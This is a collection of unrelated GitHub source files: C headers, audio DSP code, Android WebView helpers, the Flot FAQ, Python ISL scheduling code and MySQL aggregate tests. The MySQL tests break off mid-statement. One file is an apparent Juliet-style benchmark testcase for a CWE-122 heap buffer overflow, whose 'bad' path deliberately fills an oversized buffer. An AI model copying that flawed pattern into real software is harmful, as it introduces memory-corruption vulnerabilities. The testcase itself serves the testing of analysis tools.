THE TERMS OF THE APACHE LICENSE, * NOTWITHSTANDING THE ABOVE NOTICE. IF YOU HAVE QUESTIONS, OR WISH TO REQUEST * A COPY OF THE ALTERNATE LICENSING TERMS OFFERED BY BEYONDTRUST, PLEASE CONTACT * BEYONDTRUST AT beyondtrust.com/contact */ #ifndef __NET_HOSTINFO_H__ #define __NET_HOSTINFO_H__ DWORD NetGetHostInfo( PSTR* ppszHostname ); #endif /* __NET_HOSTINFO_H__ */ /* local variables: mode: c c-basic-offset: 4 indent-tabs-mode: nil tab-width: 4 end: */
{ "pile_set_name": "Github" }
/* * SpanDSP - a series of DSP components for telephony * * swept_tone.h - Swept tone generation * * Written by Steve Underwood <[email protected]> * * Copyright (C) 2009 Steve Underwood * * All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License version 2.1, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this program; if not, write to the Free Software * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. */ /*! \file */ #if !defined(_SPANDSP_SWEPT_TONE_H_) #define _SPANDSP_SWEPT_TONE_H_ /*! \page swept_tone_page The swept tone generator \section swept_tone_page_sec_1 What does it do? */ typedef struct swept_tone_state_s swept_tone_state_t; #if defined(__cplusplus) extern "C" { #endif SPAN_DECLARE(swept_tone_state_t *) swept_tone_init(swept_tone_state_t *s, float start, float end, float level, int duration, int repeating); SPAN_DECLARE(int) swept_tone(swept_tone_state_t *s, int16_t amp[], int len); SPAN_DECLARE(float) swept_tone_current_frequency(swept_tone_state_t *s); SPAN_DECLARE(int) swept_tone_release(swept_tone_state_t *s); SPAN_DECLARE(int) swept_tone_free(swept_tone_state_t *s); #if defined(__cplusplus) } #endif #endif /*- End of file ------------------------------------------------------------*/
{ "pile_set_name": "Github" }
--- title: Templates.Parent Property (Word) keywords: vbawd10.chm161612778 f1_keywords: - vbawd10.chm161612778 ms.prod: word api_name: - Word.Templates.Parent ms.assetid: 19070d0e-10e9-4588-d586-d780b33affd7 ms.date: 06/08/2017 --- # Templates.Parent Property (Word) Returns an **Object** that represents the parent object of the specified **Templates** object. ## Syntax _expression_ . **Parent** _expression_ Required. A variable that represents a **[Templates](templates-object-word.md)** collection. ## See also #### Concepts [Templates Collection Object](templates-object-word.md)
{ "pile_set_name": "Github" }
/* Description: */ #include "examples.h" class OscAM : public Process<AudioIOData> { public: OscAM(double startTime=0) : mAmp(1), mDur(2) { dt(startTime); mAmpEnv.levels(0,1,1,0); mAMEnv.curve(0); } OscAM& freq(float v){ mOsc.freq(v); return *this; } OscAM& amp(float v){ mAmp=v; return *this; } OscAM& dur(float v){ mDur=v; return *this; } OscAM& attack(float v){ mAmpEnv.lengths()[0]=v; return *this; } OscAM& decay(float v){ mAmpEnv.lengths()[2]=v; return *this; } OscAM& sus(float v){ mAmpEnv.levels()[2]=v; return *this; } OscAM& am1(float v){ mAMEnv.levels(v, mAMEnv.levels()[1], v); return *this; } OscAM& am2(float v){ mAMEnv.levels()[1]=v; return *this; } OscAM& amRatio(float v){ mAMRatio=v; return *this; } OscAM& amRise(float v){ mAMEnv.lengths(v,1-v); return *this; } OscAM& amFunc(ArrayPow2<float>& v){ mAM.source(v); return *this; } OscAM& pan(float v){ mPan.pos(v); return *this; } OscAM& set( float a, float b, float c, float d, float e, float f, float g, float h, float i, float j, ArrayPow2<float>& k, float l=0 ){ return dur(a).freq(b).amp(c).attack(d).decay(e).sus(f) .am1(g).am2(h).amRise(i).amRatio(j).amFunc(k) .pan(l); } void onProcess(AudioIOData& io){ mAmpEnv.totalLength(mDur, 1); mAMEnv.totalLength(mDur); while(io()){ mAM.freq(mOsc.freq()*mAMRatio); // set AM freq according to ratio float amAmt = mAMEnv(); // AM amount envelope float s1 = mOsc(); // non-modulated signal s1 = s1*(1-amAmt) + (s1*mAM())*amAmt; // mix modulated and non-modulated s1 *= mAmpEnv() *mAmp; float s2; mPan(s1, s1,s2); io.out(0) += s1; io.out(1) += s2; } if(mAmpEnv.done()) free(); } protected: float mAmp; float mDur; Pan<> mPan; Osc<> mAM; float mAMRatio; Env<2> mAMEnv; Sine<> mOsc; Env<3> mAmpEnv; }; int main(){ ArrayPow2<float> tbSin(2048), tbSqr(2048), tbPls(2048), tbDin(2048); addWave(tbSin, SINE); addWave(tbSqr, SQUARE); addWave(tbPls, IMPULSE, 4); // inharmonic partials { float A[] = {1, 0.7, 0.45, 0.3, 0.15, 0.08}; float C[] = {10, 27, 54, 81, 108, 135}; addSines(tbDin, A,C,6); } Scheduler s; s.add<OscAM>( 0).set(5, 262, 0.5, 0.1,0.08,0.8, 0.2,0.8,0.5, 1.4870, tbSin); s.add<OscAM>( 5).set(5, 262, 0.5, 0.1,0.08,0.8, 0.8,0.2,0.5, 2.0001, tbSin); s.add<OscAM>(10).set(5, 262, 0.5, 0.1,0.08,0.8, 0.2,0.8,1.0, 2.0001, tbPls); s.add<OscAM>(15).set(5, 262, 0.5, 0.1,0.08,0.8, 0.2,0.8,1.0, 2.0001/10., tbDin); AudioIO io(256, 44100., Scheduler::audioCB, &s); gam::sampleRate(io.fps()); io.start(); printf("\nPress 'enter' to quit...\n"); getchar(); }
{ "pile_set_name": "Github" }
package com.mopub.mobileads.util; import android.annotation.TargetApi; import android.os.Build.VERSION; import android.os.Build.VERSION_CODES; import android.support.annotation.NonNull; import android.webkit.JsPromptResult; import android.webkit.JsResult; import android.webkit.WebChromeClient; import android.webkit.WebView; import com.mopub.common.logging.MoPubLog; import com.mopub.common.util.Reflection.MethodBuilder; public class WebViews { @TargetApi(VERSION_CODES.HONEYCOMB) public static void onResume(@NonNull WebView webView) { if (VERSION.SDK_INT >= VERSION_CODES.HONEYCOMB) { webView.onResume(); return; } // Method is still available, but hidden. Invoke using reflection. try { new MethodBuilder(webView, "onResume").setAccessible().execute(); } catch (Exception e) { // no-op } } @TargetApi(VERSION_CODES.HONEYCOMB) public static void onPause(@NonNull WebView webView, boolean isFinishing) { // XXX // We need to call WebView#stopLoading and WebView#loadUrl here due to an Android // bug where the audio of an HTML5 video will continue to play after the activity has been // destroyed. The web view must stop then load an invalid url during the onPause lifecycle // event in order to stop the audio. if (isFinishing) { webView.stopLoading(); webView.loadUrl(""); } if (VERSION.SDK_INT >= VERSION_CODES.HONEYCOMB) { webView.onPause(); return; } // Method is still available, but hidden. Invoke using reflection. try { new MethodBuilder(webView, "onPause").setAccessible().execute(); } catch (Exception e) { // no-op } } public static void setDisableJSChromeClient(WebView webView) { webView.setWebChromeClient(new WebChromeClient() { @Override public boolean onJsAlert(WebView view, String url, String message, JsResult result) { MoPubLog.d(message); result.confirm(); return true; } @Override public boolean onJsConfirm(WebView view, String url, String message, JsResult result) { MoPubLog.d(message); result.confirm(); return true; } @Override public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) { MoPubLog.d(message); result.confirm(); return true; } @Override public boolean onJsBeforeUnload(WebView view, String url, String message, JsResult result) { MoPubLog.d(message); result.confirm(); return true; } }); } }
{ "pile_set_name": "Github" }
土屋サキ最新番号 【DKQU-006】AQUA-girls DANCING HIGH SCHOOL vol.06</a>2006-01-27OFFICE K’S$$$踊85分钟
{ "pile_set_name": "Github" }
## Frequently asked questions ## #### How much data can Flot cope with? #### Flot will happily draw everything you send to it so the answer depends on the browser. The excanvas emulation used for IE (built with VML) makes IE by far the slowest browser so be sure to test with that if IE users are in your target group (for large plots in IE, you can also check out Flashcanvas which may be faster). 1000 points is not a problem, but as soon as you start having more points than the pixel width, you should probably start thinking about downsampling/aggregation as this is near the resolution limit of the chart anyway. If you downsample server-side, you also save bandwidth. #### Flot isn't working when I'm using JSON data as source! #### Actually, Flot loves JSON data, you just got the format wrong. Double check that you're not inputting strings instead of numbers, like [["0", "-2.13"], ["5", "4.3"]]. This is most common mistake, and the error might not show up immediately because Javascript can do some conversion automatically. #### Can I export the graph? #### You can grab the image rendered by the canvas element used by Flot as a PNG or JPEG (remember to set a background). Note that it won't include anything not drawn in the canvas (such as the legend). And it doesn't work with excanvas which uses VML, but you could try Flashcanvas. #### The bars are all tiny in time mode? #### It's not really possible to determine the bar width automatically. So you have to set the width with the barWidth option which is NOT in pixels, but in the units of the x axis (or the y axis for horizontal bars). For time mode that's milliseconds so the default value of 1 makes the bars 1 millisecond wide. #### Can I use Flot with libraries like Mootools or Prototype? #### Yes, Flot supports it out of the box and it's easy! Just use jQuery instead of $, e.g. call jQuery.plot instead of $.plot and use jQuery(something) instead of $(something). As a convenience, you can put in a DOM element for the graph placeholder where the examples and the API documentation are using jQuery objects. Depending on how you include jQuery, you may have to add one line of code to prevent jQuery from overwriting functions from the other libraries, see the documentation in jQuery ("Using jQuery with other libraries") for details. #### Flot doesn't work with [insert name of Javascript UI framework]! #### Flot is using standard HTML to make charts. If this is not working, it's probably because the framework you're using is doing something weird with the DOM or with the CSS that is interfering with Flot. A common problem is that there's display:none on a container until the user does something. Many tab widgets work this way, and there's nothing wrong with it - you just can't call Flot inside a display:none container as explained in the README so you need to hold off the Flot call until the container is actually displayed (or use visibility:hidden instead of display:none or move the container off-screen). If you find there's a specific thing we can do to Flot to help, feel free to submit a bug report. Otherwise, you're welcome to ask for help on the forum/mailing list, but please don't submit a bug report to Flot.
{ "pile_set_name": "Github" }
/* * Copyright 2010-2015 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at: * * http://aws.amazon.com/apache2.0 * * This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES * OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and * limitations under the License. */ package com.amazonaws.handlers; import com.amazonaws.Request; import com.amazonaws.Response; public class MockRequestHandler2 extends RequestHandler2 { @Override public void beforeRequest(Request<?> request) { } @Override public void afterResponse(Request<?> request, Response<?> response) { } @Override public void afterError(Request<?> request, Response<?> response, Exception e) { } }
{ "pile_set_name": "Github" }
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE122_Heap_Based_Buffer_Overflow__cpp_CWE806_char_ncpy_72a.cpp Label Definition File: CWE122_Heap_Based_Buffer_Overflow__cpp_CWE806.label.xml Template File: sources-sink-72a.tmpl.cpp */ /* * @description * CWE: 122 Heap Based Buffer Overflow * BadSource: Initialize data as a large string * GoodSource: Initialize data as a small string * Sinks: ncpy * BadSink : Copy data to string using strncpy * Flow Variant: 72 Data flow: data passed in a vector from one function to another in different source files * * */ #include "std_testcase.h" #include <vector> #include <wchar.h> using namespace std; namespace CWE122_Heap_Based_Buffer_Overflow__cpp_CWE806_char_ncpy_72 { #ifndef OMITBAD /* bad function declaration */ void badSink(vector<char *> dataVector); void bad() { char * data; vector<char *> dataVector; data = new char[100]; /* FLAW: Initialize data as a large buffer that is larger than the small buffer used in the sink */ memset(data, 'A', 100-1); /* fill with 'A's */ data[100-1] = '\0'; /* null terminate */ /* Put data in a vector */ dataVector.insert(dataVector.end(), 1, data); dataVector.insert(dataVector.end(), 1, data); dataVector.insert(dataVector.end(), 1, data); badSink(dataVector); } #endif /* OMITBAD */ #ifndef OMITGOOD /* good function declarations */ /* goodG2B uses the GoodSource with the BadSink */ void goodG2BSink(vector<char *> dataVector); static void goodG2B() { char * data; vector<char *> dataVector; data = new char[100]; /* FIX: Initialize data as a small buffer that as small or smaller than the small buffer used in the sink */ memset(data, 'A', 50-1); /* fill with 'A's */ data[50-1] = '\0'; /* null terminate */ /* Put data in a vector */ dataVector.insert(dataVector.end(), 1, data); dataVector.insert(dataVector.end(), 1, data); dataVector.insert(dataVector.end(), 1, data); goodG2BSink(dataVector); } void good() { goodG2B(); } #endif /* OMITGOOD */ } /* close namespace */ /* Below is the main(). It is only used when building this testcase on its own for testing or for building a binary to use in testing binary analysis tools. It is not used when compiling all the testcases as one application, which is how source code analysis tools are tested. */ #ifdef INCLUDEMAIN using namespace CWE122_Heap_Based_Buffer_Overflow__cpp_CWE806_char_ncpy_72; /* so that we can use good and bad easily */ int main(int argc, char * argv[]) { /* seed randomness */ srand( (unsigned)time(NULL) ); #ifndef OMITGOOD printLine("Calling good()..."); good(); printLine("Finished good()"); #endif /* OMITGOOD */ #ifndef OMITBAD printLine("Calling bad()..."); bad(); printLine("Finished bad()"); #endif /* OMITBAD */ return 0; } #endif
{ "pile_set_name": "Github" }
# ported from ppcg # Copyright 2013 Ecole Normale Superieure # # Use of this software is governed by the MIT license # # Written by Sven Verdoolaege, # Ecole Normale Superieure, 45 rue d'Ulm, 75230 Paris, France import islpy as isl def is_marked(node, name): if node.get_type() != isl.schedule_node_type.mark: return False mark = node.mark_get_id() return mark.get_name() == name def node_is_core(node, core): filter = node.filter_get_filter() return not filter.is_disjoint(core) def core_child(node, core): if node.get_type() != isl.schedule_node_type.sequence: return node.child(0) n = node.n_children() for i in xrange(n): node = node.child(i) if node_is_core(node, core): return node.child(0) node = node.parent() assert False def gpu_tree_move_down_to(node, core, mark): while not is_marked(node, mark): node = core_child(node, core) return node def gpu_tree_move_up_to(node, mark): while not is_marked(node, mark): node = node.parent() return node def gpu_tree_move_down_to_depth(node, depth, core): while node.get_schedule_depth() < depth: if node.get_type() == isl.schedule_node_type.band: node_depth = node.get_schedule_depth() node_dim = node.band_n_member() if node_depth + node_dim > depth: node = node.band_split(depth - node_depth) node = core_child(node, core) while (not is_marked(node, "shared") and not is_marked(node, "thread") and node.get_type() != isl.schedule_node_type.band): node = core_child(node, core) return node def domain_is_sync(domain): if domain.n_set() != 1: return False name = isl.Set.from_union_set(domain).get_tuple_id().get_name() return name.startswith("sync") def node_is_sync_filter(node): if node.get_type() != isl.schedule_node_type.filter: return False domain = node.filter_get_filter() return domain_is_sync(domain) def has_preceding_sync(node): node = node.parent() while node.has_previous_sibling(): node = node.previous_sibling() if node_is_sync_filter(node): return True return False def has_following_sync(node): node = node.parent() while node.has_next_sibling(): node = node.next_sibling() if node_is_sync_filter(node): return True return False def has_sync_before_core(node, core): while not is_marked(node, "thread"): node = core_child(node, core) if has_preceding_sync(node): return True return False def has_sync_after_core(node, core): while not is_marked(node, "thread"): node = core_child(node, core) if has_following_sync(node): return True return False def create_sync_domain(ctx, name): space = isl.Space.set_alloc(ctx, 0, 0) id = isl.Id.alloc(ctx, name, None) space = space.set_tuple_id(isl.dim_type.set, id) return isl.UnionSet.from_set(isl.Set.universe(space)) def insert_sync_before(node, sync_counter): domain = create_sync_domain(node.get_ctx(), sync_counter.next()) graft = isl.ScheduleNode.from_domain(domain) node = node.graft_before(graft) return node def insert_sync_after(node, sync_counter): domain = create_sync_domain(node.get_ctx(), sync_counter.next()) graft = isl.ScheduleNode.from_domain(domain) node = node.graft_after(graft) return node def gpu_tree_ensure_preceding_sync(node, sync_counter): if has_preceding_sync(node): return node return insert_sync_before(node, sync_counter) def gpu_tree_ensure_following_sync(node, sync_counter): if has_following_sync(node): return node return insert_sync_after(node, sync_counter) def gpu_tree_ensure_sync_after_core(node, core, sync_counter): if has_sync_after_core(node, core): return node if has_following_sync(node): return node return insert_sync_after(node, sync_counter) def gpu_tree_move_left_to_sync(node, core, sync_counter): if has_sync_before_core(node, core): return node node = gpu_tree_ensure_preceding_sync(node, sync_counter) node = node.parent() while not node_is_sync_filter(node): node = node.previous_sibling() node = node.child(0) return node def gpu_tree_move_right_to_sync(node, core, sync_counter): if has_sync_after_core(node, core): return node node = gpu_tree_ensure_following_sync(node, sync_counter) node = node.parent() while not node_is_sync_filter(node): node = node.next_sibling() node = node.child(0) return node
{ "pile_set_name": "Github" }
--disable_warnings DROP TABLE IF EXISTS t2; --enable_warnings CREATE TABLE t2(c1 TINYINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT MAX(c1) AS value FROM t2; SELECT MAX(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT MAX(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT MAX(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT MAX(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 SMALLINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT MAX(c1) AS value FROM t2; SELECT MAX(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT MAX(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT MAX(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT MAX(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 MEDIUMINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT MAX(c1) AS value FROM t2; SELECT MAX(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT MAX(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT MAX(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT MAX(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 INT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT MAX(c1) AS value FROM t2; SELECT MAX(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT MAX(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT MAX(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT MAX(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 INTEGER NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT MAX(c1) AS value FROM t2; SELECT MAX(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT MAX(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT MAX(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT MAX(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 BIGINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT MAX(c1) AS value FROM t2; SELECT MAX(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT MAX(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT MAX(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT MAX(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 TINYINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT MIN(c1) AS value FROM t2; SELECT MIN(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT MIN(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT MIN(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT MIN(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 SMALLINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT MIN(c1) AS value FROM t2; SELECT MIN(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT MIN(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT MIN(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT MIN(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 MEDIUMINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT MIN(c1) AS value FROM t2; SELECT MIN(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT MIN(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT MIN(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT MIN(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 INT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT MIN(c1) AS value FROM t2; SELECT MIN(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT MIN(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT MIN(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT MIN(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 INTEGER NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT MIN(c1) AS value FROM t2; SELECT MIN(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT MIN(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT MIN(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT MIN(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 BIGINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT MIN(c1) AS value FROM t2; SELECT MIN(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT MIN(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT MIN(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT MIN(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 TINYINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT AVG(c1) AS value FROM t2; SELECT AVG(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT AVG(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT AVG(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT AVG(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 SMALLINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT AVG(c1) AS value FROM t2; SELECT AVG(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT AVG(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT AVG(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT AVG(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 MEDIUMINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT AVG(c1) AS value FROM t2; SELECT AVG(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT AVG(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT AVG(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT AVG(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 INT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT AVG(c1) AS value FROM t2; SELECT AVG(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT AVG(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT AVG(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT AVG(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 INTEGER NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT AVG(c1) AS value FROM t2; SELECT AVG(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT AVG(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT AVG(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT AVG(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 BIGINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT AVG(c1) AS value FROM t2; SELECT AVG(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT AVG(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT AVG(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT AVG(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 TINYINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT SUM(c1) AS value FROM t2; SELECT SUM(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT SUM(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT SUM(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT SUM(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 SMALLINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT SUM(c1) AS value FROM t2; SELECT SUM(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT SUM(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT SUM(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT SUM(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 MEDIUMINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT SUM(c1) AS value FROM t2; SELECT SUM(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT SUM(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT SUM(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT SUM(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 INT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT SUM(c1) AS value FROM t2; SELECT SUM(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT SUM(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT SUM(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT SUM(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 INTEGER NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT SUM(c1) AS value FROM t2; SELECT SUM(c1) AS postive_value FROM t2 WHERE c1 > 0; SELECT SUM(c1) AS negative_value FROM t2 WHERE c1 < 0; SELECT SUM(c1) AS zero_value FROM t2 WHERE c1 = 0; SELECT SUM(c1) AS no_results FROM t2 WHERE c1 = 2; DROP TABLE t2; CREATE TABLE t2(c1 BIGINT NOT NULL); INSERT INTO t2 (c1) VALUES(0); INSERT INTO t2 (c1) VALUES(1); INSERT INTO t2 (c1) VALUES(16); INSERT INTO t2 (c1) VALUES(-4); INSERT INTO t2 (c1) VALUES(-9); SELECT SUM(c1) AS value FROM t2; SELECT 